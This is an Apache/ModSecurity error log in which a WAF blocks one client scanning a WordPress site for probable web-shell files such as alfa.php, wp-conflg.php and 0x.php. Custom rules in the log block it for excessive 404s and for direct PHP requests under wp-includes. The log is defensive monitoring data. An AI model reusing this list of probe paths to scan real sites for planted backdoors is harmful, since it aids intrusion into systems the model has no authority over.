[Fri Feb 13 03:07:27.303182 2026] [:error] [pid 37510:tid 37528] [client 20.234.103.39:6521] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aY4k78UrqDPNSf1wYBW79QAAAYw"]
[Fri Feb 13 03:07:27.810352 2026] [:error] [pid 37511:tid 37591] [client 20.234.103.39:6509] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aY4k7-8EBJ86uZdxpA2iCwAAAEo"]
[Fri Feb 13 03:07:28.310608 2026] [:error] [pid 23410:tid 23435] [client 20.234.103.39:6129] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aY4k8BXZP6NFBacuW_1aiwAAAJc"]
[Fri Feb 13 03:07:28.817146 2026] [:error] [pid 37512:tid 37612] [client 20.234.103.39:6425] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aY4k8NDe69znS-f6vSZtygAAAAQ"]
[Fri Feb 13 03:07:29.319008 2026] [:error] [pid 37511:tid 37587] [client 20.234.103.39:6412] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aY4k8e8EBJ86uZdxpA2iDQAAAEY"]
[Fri Feb 13 03:07:29.830317 2026] [:error] [pid 37511:tid 37580] [client 20.234.103.39:6466] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aY4k8e8EBJ86uZdxpA2iDwAAAEA"]
[Fri Feb 13 03:07:30.349011 2026] [:error] [pid 37510:tid 37521] [client 20.234.103.39:6407] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aY4k8sUrqDPNSf1wYBW7-AAAAYU"]
[Fri Feb 13 03:07:30.851955 2026] [:error] [pid 37512:tid 37609] [client 20.234.103.39:6096] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aY4k8tDe69znS-f6vSZtzwAAAAE"]
[Fri Feb 13 03:07:31.352753 2026] [:error] [pid 37510:tid 37530] [client 20.234.103.39:6112] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aY4k88UrqDPNSf1wYBW7_AAAAY4"]
[Fri Feb 13 03:07:31.852826 2026] [:error] [pid 37512:tid 37626] [client 20.234.103.39:6487] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aY4k89De69znS-f6vSZt1QAAABA"]
[Fri Feb 13 03:07:32.366202 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:6423] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aY4k9O8EBJ86uZdxpA2iEgAAAFM"]
[Fri Feb 13 03:07:32.867504 2026] [:error] [pid 37510:tid 37520] [client 20.234.103.39:6032] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aY4k9MUrqDPNSf1wYBW8BQAAAYQ"]
[Fri Feb 13 03:07:33.368838 2026] [:error] [pid 23410:tid 23418] [client 20.234.103.39:6019] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css.php"] [unique_id "aY4k9RXZP6NFBacuW_1akwAAAIY"]
[Fri Feb 13 03:07:33.877852 2026] [:error] [pid 37856:tid 37875] [client 20.234.103.39:6494] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css.php"] [unique_id "aY4k9ZUcWP4qWM7hWskzEgAAANA"]
[Fri Feb 13 03:07:34.378579 2026] [:error] [pid 37512:tid 37618] [client 20.234.103.39:6439] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css.php"] [unique_id "aY4k9tDe69znS-f6vSZt3gAAAAk"]
[Fri Feb 13 03:07:34.885183 2026] [:error] [pid 23410:tid 23432] [client 20.234.103.39:6095] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css.php"] [unique_id "aY4k9hXZP6NFBacuW_1amQAAAJQ"]
[Fri Feb 13 03:07:35.384335 2026] [:error] [pid 37512:tid 37609] [client 20.234.103.39:6479] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cong.php"] [unique_id "aY4k99De69znS-f6vSZt3wAAAAE"]
[Fri Feb 13 03:07:35.885023 2026] [:error] [pid 37511:tid 37602] [client 20.234.103.39:6122] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cong.php"] [unique_id "aY4k9-8EBJ86uZdxpA2iHAAAAFU"]
[Fri Feb 13 03:07:36.402937 2026] [:error] [pid 37856:tid 37873] [client 20.234.103.39:6476] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cong.php"] [unique_id "aY4k-JUcWP4qWM7hWskzHQAAAM4"]
[Fri Feb 13 03:07:36.902436 2026] [:error] [pid 23410:tid 23418] [client 20.234.103.39:6401] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cong.php"] [unique_id "aY4k-BXZP6NFBacuW_1aoAAAAIY"]
[Fri Feb 13 03:07:37.421009 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6126] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aY4k-RXZP6NFBacuW_1aogAAAIk"]
[Fri Feb 13 03:07:37.924311 2026] [:error] [pid 37856:tid 37875] [client 20.234.103.39:6068] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cong.php"] [unique_id "aY4k-ZUcWP4qWM7hWskzIQAAANA"]
[Fri Feb 13 03:07:38.460219 2026] [:error] [pid 37856:tid 37866] [client 20.234.103.39:6050] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cong.php"] [unique_id "aY4k-pUcWP4qWM7hWskzJAAAAMc"]
[Fri Feb 13 03:07:38.961484 2026] [:error] [pid 37510:tid 37528] [client 20.234.103.39:6131] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cong.php"] [unique_id "aY4k-sUrqDPNSf1wYBW8EAAAAYw"]
[Fri Feb 13 03:07:39.492136 2026] [:error] [pid 37510:tid 37517] [client 20.234.103.39:6119] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w.php"] [unique_id "aY4k-8UrqDPNSf1wYBW8EQAAAYE"]
[Fri Feb 13 03:07:39.995504 2026] [:error] [pid 37510:tid 37521] [client 20.234.103.39:6451] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w.php"] [unique_id "aY4k-8UrqDPNSf1wYBW8EgAAAYU"]
[Fri Feb 13 03:07:40.514817 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:6488] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w.php"] [unique_id "aY4k_BXZP6NFBacuW_1aqQAAAIA"]
[Fri Feb 13 03:07:41.018752 2026] [:error] [pid 37511:tid 37585] [client 20.234.103.39:6084] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w.php"] [unique_id "aY4k_e8EBJ86uZdxpA2iJAAAAEQ"]
[Fri Feb 13 03:07:41.563284 2026] [:error] [pid 37511:tid 37591] [client 20.234.103.39:6497] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4k_e8EBJ86uZdxpA2iJQAAAEo"]
[Fri Feb 13 03:07:42.062024 2026] [:error] [pid 37511:tid 37602] [client 20.234.103.39:6417] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4k_u8EBJ86uZdxpA2iJgAAAFU"]
[Fri Feb 13 03:07:42.594999 2026] [:error] [pid 37511:tid 37582] [client 20.234.103.39:6457] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4k_u8EBJ86uZdxpA2iKQAAAEI"]
[Fri Feb 13 03:07:43.094628 2026] [:error] [pid 37511:tid 37594] [client 20.234.103.39:6123] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4k_-8EBJ86uZdxpA2iKwAAAE0"]
[Fri Feb 13 03:07:43.604401 2026] [:error] [pid 37511:tid 37587] [client 20.234.103.39:6081] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY4k_-8EBJ86uZdxpA2iLQAAAEY"]
[Fri Feb 13 03:07:44.105767 2026] [:error] [pid 37511:tid 37593] [client 20.234.103.39:6424] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY4lAO8EBJ86uZdxpA2iLgAAAEw"]
[Fri Feb 13 03:07:44.611290 2026] [:error] [pid 37511:tid 37601] [client 20.234.103.39:6039] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY4lAO8EBJ86uZdxpA2iMAAAAFQ"]
[Fri Feb 13 03:07:45.112725 2026] [:error] [pid 37856:tid 37878] [client 20.234.103.39:6517] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY4lAZUcWP4qWM7hWskzKwAAANM"]
[Fri Feb 13 03:07:45.628179 2026] [:error] [pid 37856:tid 37868] [client 20.234.103.39:6035] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0x.php"] [unique_id "aY4lAZUcWP4qWM7hWskzLwAAAMk"]
[Fri Feb 13 03:07:46.139389 2026] [proxy_fcgi:error] [pid 37511:tid 37592] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:46.394651 2026] [proxy_fcgi:error] [pid 37511:tid 37588] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:46.653779 2026] [proxy_fcgi:error] [pid 37511:tid 37585] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:47.162057 2026] [proxy_fcgi:error] [pid 37511:tid 37602] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:47.686248 2026] [proxy_fcgi:error] [pid 37511:tid 37590] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:47.943609 2026] [proxy_fcgi:error] [pid 37511:tid 37583] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:48.199405 2026] [proxy_fcgi:error] [pid 37511:tid 37598] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:48.452737 2026] [proxy_fcgi:error] [pid 37511:tid 37594] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:48.706997 2026] [proxy_fcgi:error] [pid 37511:tid 37587] [client 20.234.103.39:6415] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:07:48.959430 2026] [:error] [pid 37511:tid 37605] [client 20.234.103.39:6415] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lBO8EBJ86uZdxpA2iPgAAAFg"]
[Fri Feb 13 03:07:49.585422 2026] [:error] [pid 37512:tid 37621] [client 20.234.103.39:6426] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lBdDe69znS-f6vSZt8gAAAAw"]
[Fri Feb 13 03:07:50.159624 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:6108] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lBhXZP6NFBacuW_1augAAAIA"]
[Fri Feb 13 03:07:50.698192 2026] [:error] [pid 23410:tid 23433] [client 20.234.103.39:6484] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lBhXZP6NFBacuW_1avQAAAJU"]
[Fri Feb 13 03:07:51.199677 2026] [:error] [pid 23410:tid 23432] [client 20.234.103.39:6495] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aY4lBxXZP6NFBacuW_1avwAAAJQ"]
[Fri Feb 13 03:07:51.710812 2026] [:error] [pid 37512:tid 37619] [client 20.234.103.39:6041] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aY4lB9De69znS-f6vSZt9gAAAAo"]
[Fri Feb 13 03:07:52.247857 2026] [:error] [pid 37856:tid 37878] [client 20.234.103.39:6021] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aY4lCJUcWP4qWM7hWskzNwAAANM"]
[Fri Feb 13 03:07:52.748367 2026] [:error] [pid 37512:tid 37627] [client 20.234.103.39:6498] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aY4lCNDe69znS-f6vSZt-AAAABE"]
[Fri Feb 13 03:07:53.264955 2026] [:error] [pid 37511:tid 37594] [client 20.234.103.39:6022] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY4lCe8EBJ86uZdxpA2iSAAAAE0"]
[Fri Feb 13 03:07:53.772136 2026] [:error] [pid 37856:tid 37876] [client 20.234.103.39:6440] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY4lCZUcWP4qWM7hWskzOAAAANE"]
[Fri Feb 13 03:07:54.283244 2026] [:error] [pid 23410:tid 23415] [client 20.234.103.39:6449] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY4lChXZP6NFBacuW_1axwAAAIM"]
[Fri Feb 13 03:07:54.794537 2026] [:error] [pid 37856:tid 37874] [client 20.234.103.39:6461] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY4lCpUcWP4qWM7hWskzOwAAAM8"]
[Fri Feb 13 03:07:55.298526 2026] [:error] [pid 37856:tid 37859] [client 20.234.103.39:6120] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aY4lC5UcWP4qWM7hWskzPQAAAMA"]
[Fri Feb 13 03:07:55.833125 2026] [:error] [pid 37856:tid 37867] [client 20.234.103.39:6142] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aY4lC5UcWP4qWM7hWskzQQAAAMg"]
[Fri Feb 13 03:07:56.376984 2026] [:error] [pid 37512:tid 37610] [client 20.234.103.39:6026] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aY4lDNDe69znS-f6vSZt_gAAAAI"]
[Fri Feb 13 03:07:56.922912 2026] [:error] [pid 37510:tid 37541] [client 20.234.103.39:6459] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aY4lDMUrqDPNSf1wYBW8KQAAAZg"]
